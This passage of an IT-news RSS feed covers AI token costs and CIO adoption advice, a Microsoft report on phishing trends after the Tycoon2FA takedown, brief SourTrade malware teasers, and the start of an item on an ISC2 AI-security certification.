<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GitOps vs Traditional DevOps]]></title>
<description><![CDATA[This lesson is for paying subscribers only
                                                       
                    
                        This post is for paying subscribers only
                      

        

            
                Subscribe now
            
            
         ...]]></description>
<link>https://tsecurity.de/de/3691332/linux-tipps/gitops-vs-traditional-devops/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691332/linux-tipps/gitops-vs-traditional-devops/</guid>
<pubDate>Fri, 24 Jul 2026 13:05:05 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<aside data-sx-content-cta class="relative p-0.5 js-toc-ignore">

    <div class="relative flex flex-col items-center text-center w-full px-4 py-10 lg:px-10 text-base rounded-xl sm:rounded-2xl">
        <div class="dark:hidden absolute -inset-px -z-10 rounded-xl bg-white shadow-pretty-sm transition-shadow duration-200"></div>
        <span class="hidden dark:block absolute -z-10 -inset-px rounded-inherit bg-radial-[50%_100%_at_50%_0%] from-white/10"></span>        
        <div class="hidden dark:block absolute -inset-px -z-10 rounded-xl bg-white/1 transition-colors duration-500 inset-shadow-md inset-shadow-white/2"></div>
        
        <div class="hidden dark:block absolute -z-10 -inset-0.5 mask-to-b mask-position-to-70% mask-opacity-to-50%">
            <div class="hidden dark:block absolute -z-10 inset-px rounded-xl border border-gray-50/10"></div>
        </div>                                                
        <div class="hidden dark:block absolute -z-10 -inset-px rounded-xl border border-gray-50/5 opacity-0"></div>

        <div class="hidden dark:block absolute -top-px start-1/2 -translate-x-1/2 w-1/2 h-px bg-linear-to-r from-white/0 to-white/0 via-gray-400/50"></div>

        <h2 class="text-gray-900 dark:text-gray-100 text-pretty text-xl sm:text-2xl leading-snug tracking-tight">




                                                <span class="hidden first:inline">
                                This lesson is for paying subscribers only
                            </span>                           
                    <span class="hidden first:inline">
                        This post is for paying subscribers only
                    </span>  

        </h2>

            <button data-portal="signup" class="mt-7 px-4 py-2.5 font-semibold text-sm text-center text-accent-contrast bg-primary rounded-full shadow-primary dark:shadow-none dark:drop-shadow-primary-sm hover:opacity-90 transition-opacity duration-200">
                Subscribe now
            </button>
            <p class="mt-5 text-sm">
                Already have an account? <button data-portal="signin" class="block sm:inline mx-auto font-medium underline decoration-primary decoration-2 underline-offset-2 hover:text-primary transition-colors duration-200">Sign in</button>
            </p>
    </div>
</aside>]]></content:encoded>
</item>
<item>
<title><![CDATA[The regulatory unlock that's reshaping AI infrastructure]]></title>
<description><![CDATA[Strict regulations are forcing a massive shift from traditional clouds to sovereign, localized networks.]]></description>
<link>https://tsecurity.de/de/3691327/it-nachrichten/the-regulatory-unlock-thats-reshaping-ai-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691327/it-nachrichten/the-regulatory-unlock-thats-reshaping-ai-infrastructure/</guid>
<pubDate>Fri, 24 Jul 2026 13:04:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Strict regulations are forcing a massive shift from traditional clouds to sovereign, localized networks.]]></content:encoded>
</item>
<item>
<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Fri, 24 Jul 2026 13:04:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design]]></title>
<description><![CDATA[SourTrade turns the browser itself into a malware build system, deliberately sidestepping the industry’s reliance on hash-based file fingerprints and traditional network-centric detection. SourTrade has been active since late 2024, abusing programmatic ads to reach retail traders and crypto inves...]]></description>
<link>https://tsecurity.de/de/3691287/it-security-nachrichten/sourtrade-browser-assembled-malware-defeats-hash-based-detection-by-design/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691287/it-security-nachrichten/sourtrade-browser-assembled-malware-defeats-hash-based-detection-by-design/</guid>
<pubDate>Fri, 24 Jul 2026 12:39:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>SourTrade turns the browser itself into a malware build system, deliberately sidestepping the industry’s reliance on hash-based file fingerprints and traditional network-centric detection. SourTrade has been active since late 2024, abusing programmatic ads to reach retail traders and crypto investors…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/sourtrade-browser-assembled-malware-defeats-hash-based-detection-by-design/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/sourtrade-browser-assembled-malware-defeats-hash-based-detection-by-design/">SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Email threats changed after the Tycoon2FA take-down]]></title>
<description><![CDATA[Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.



“Phishing volume linked to the platform fell 92% from pre-disruption aver...]]></description>
<link>https://tsecurity.de/de/3691276/it-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691276/it-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/</guid>
<pubDate>Fri, 24 Jul 2026 12:33:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Traditional phishing techniques are in decline as a result of the <a href="https://www.csoonline.com/article/4140890/microsoft-leads-takedown-of-tycoon2fa-phishing-service-infrastructure.html">disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform</a>, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.</p>



<p class="wp-block-paragraph">“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in <a href="https://www.microsoft.com/en-us/security/blog/2026/07/23/email-threat-landscape-q2-2026-trends-and-insights/">the report</a>.</p>



<p class="wp-block-paragraph">The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.</p>



<p class="wp-block-paragraph">Riding this shift in were a few notable phishing campaigns, including an automated <a href="https://www.csoonline.com/article/575559/business-email-compromise-scams-take-new-dimension-with-multi-stage-attacks.html">business email compromise</a> (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.</p>



<p class="wp-block-paragraph">To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html">MFA</a> for accounts that still require passwords.</p>



<h2 class="wp-block-heading">Tycoon2FA disruption sent attackers exploring</h2>



<p class="wp-block-paragraph">The take-down of <a href="https://www.csoonline.com/article/4100393/hybrid-2fa-phishing-kits-are-making-attacks-harder-to-detect.html">Tycoon2FA</a> forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.</p>



<p class="wp-block-paragraph">“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.</p>



<p class="wp-block-paragraph">The decline extended to QR Code <a href="https://www.csoonline.com/article/3557585/attackers-are-using-qr-codes-sneakily-crafted-in-ascii-and-blob-urls-in-phishing-emails.html">lures</a> and fake CAPTCHA <a href="https://www.csoonline.com/article/3829416/fake-captcha-attacks-are-increasing-say-experts.html">pages</a>, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.</p>



<p class="wp-block-paragraph">But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.</p>



<p class="wp-block-paragraph">The adaptation came in the form of using Microsoft <a href="https://www.csoonline.com/article/4160858/attackers-abuse-microsoft-teams-to-impersonate-the-it-helpdesk-in-a-new-enterprise-intrusion-playbook.html">Teams as a social engineering channel</a>. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.</p>



<p class="wp-block-paragraph">Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.</p>



<h2 class="wp-block-heading">Phishing changes but the defense doesn’t</h2>



<p class="wp-block-paragraph">While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.</p>



<p class="wp-block-paragraph">QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.</p>



<p class="wp-block-paragraph">BEC attacks hit 9 million in March, falling to 3.9 million in June.</p>



<p class="wp-block-paragraph">But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant <a href="https://www.csoonline.com/article/3535222/mfa-adoption-is-catching-up-but-is-not-quite-there.html">MFA</a> to reduce the effectiveness of credential theft campaigns.</p>



<p class="wp-block-paragraph">The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, <a href="https://www.csoonline.com/article/4040128/fido-undermined.html">FIDO </a>keys, and Microsoft Authenticator.</p>



<p class="wp-block-paragraph">Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4201146/tycoon2fa-takedown-reshapes-the-phishing-landscape.html">CSO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design]]></title>
<description><![CDATA[SourTrade turns the browser itself into a malware build system, deliberately sidestepping the industry’s reliance on hash-based file fingerprints and traditional network-centric detection. SourTrade has been active since late 2024, abusing programmatic ads to reach retail traders and crypto inves...]]></description>
<link>https://tsecurity.de/de/3691260/it-security-nachrichten/sourtrade-browser-assembled-malware-defeats-hash-based-detection-by-design/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691260/it-security-nachrichten/sourtrade-browser-assembled-malware-defeats-hash-based-detection-by-design/</guid>
<pubDate>Fri, 24 Jul 2026 12:27:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>SourTrade turns the browser itself into a malware build system, deliberately sidestepping the industry’s reliance on hash-based file fingerprints and traditional network-centric detection. SourTrade has been active since late 2024, abusing programmatic ads to reach retail traders and crypto investors in 12 geographies across APAC, LATAM, Africa, and Western markets, including Japan, Thailand, South Korea, […]</p>
<p>The post <a href="https://gbhackers.com/sourtrade-browser-assembled/">SourTrade Browser-Assembled Malware Defeats Hash-Based Detection by Design</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tycoon2FA takedown reshapes the phishing landscape]]></title>
<description><![CDATA[Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.



“Phishing volume linked to the platform fell 92% from pre-disruption aver...]]></description>
<link>https://tsecurity.de/de/3691257/it-security-nachrichten/tycoon2fa-takedown-reshapes-the-phishing-landscape/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691257/it-security-nachrichten/tycoon2fa-takedown-reshapes-the-phishing-landscape/</guid>
<pubDate>Fri, 24 Jul 2026 12:26:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Traditional phishing techniques are in decline as a result of the <a href="https://www.csoonline.com/article/4140890/microsoft-leads-takedown-of-tycoon2fa-phishing-service-infrastructure.html">disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform</a>, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.</p>



<p class="wp-block-paragraph">“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in <a href="https://www.microsoft.com/en-us/security/blog/2026/07/23/email-threat-landscape-q2-2026-trends-and-insights/">the report</a>.</p>



<p class="wp-block-paragraph">The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.</p>



<p class="wp-block-paragraph">Riding this shift in were a few notable phishing campaigns, including an automated <a href="https://www.csoonline.com/article/575559/business-email-compromise-scams-take-new-dimension-with-multi-stage-attacks.html">business email compromise</a> (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.</p>



<p class="wp-block-paragraph">To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html">MFA</a> for accounts that still require passwords.</p>



<h2 class="wp-block-heading">Tycoon2FA disruption sent attackers exploring</h2>



<p class="wp-block-paragraph">The take-down of <a href="https://www.csoonline.com/article/4100393/hybrid-2fa-phishing-kits-are-making-attacks-harder-to-detect.html">Tycoon2FA</a> forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.</p>



<p class="wp-block-paragraph">“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.</p>



<p class="wp-block-paragraph">The decline extended to QR Code <a href="https://www.csoonline.com/article/3557585/attackers-are-using-qr-codes-sneakily-crafted-in-ascii-and-blob-urls-in-phishing-emails.html">lures</a> and fake CAPTCHA <a href="https://www.csoonline.com/article/3829416/fake-captcha-attacks-are-increasing-say-experts.html">pages</a>, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.</p>



<p class="wp-block-paragraph">But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.</p>



<p class="wp-block-paragraph">The adaptation came in the form of using Microsoft <a href="https://www.csoonline.com/article/4160858/attackers-abuse-microsoft-teams-to-impersonate-the-it-helpdesk-in-a-new-enterprise-intrusion-playbook.html">Teams as a social engineering channel</a>. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.</p>



<p class="wp-block-paragraph">Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.</p>



<h2 class="wp-block-heading">Phishing changes but the defense doesn’t</h2>



<p class="wp-block-paragraph">While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.</p>



<p class="wp-block-paragraph">QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.</p>



<p class="wp-block-paragraph">BEC attacks hit 9 million in March, falling to 3.9 million in June.</p>



<p class="wp-block-paragraph">But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant <a href="https://www.csoonline.com/article/3535222/mfa-adoption-is-catching-up-but-is-not-quite-there.html">MFA</a> to reduce the effectiveness of credential theft campaigns.</p>



<p class="wp-block-paragraph">The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, <a href="https://www.csoonline.com/article/4040128/fido-undermined.html">FIDO </a>keys, and Microsoft Authenticator.</p>



<p class="wp-block-paragraph">Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ISC2 seeks input from IT pros for AI security certification]]></title>
<description><![CDATA[ISC2 has begun developing a vendor-neutral AI security certification aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.



The nonprofit organization, best known for the CISSP certification, says it is seeking volunteers worldwide to help define the kn...]]></description>
<link>https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.isc2.org/" target="_blank" rel="noreferrer noopener">ISC2</a> has begun developing a <a href="https://www.isc2.org/new-ai-certification#AI%20Security%20Certification%20Frequently%20Asked%20Questions" target="_blank" rel="noreferrer noopener">vendor-neutral AI security certification</a> aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.</p>



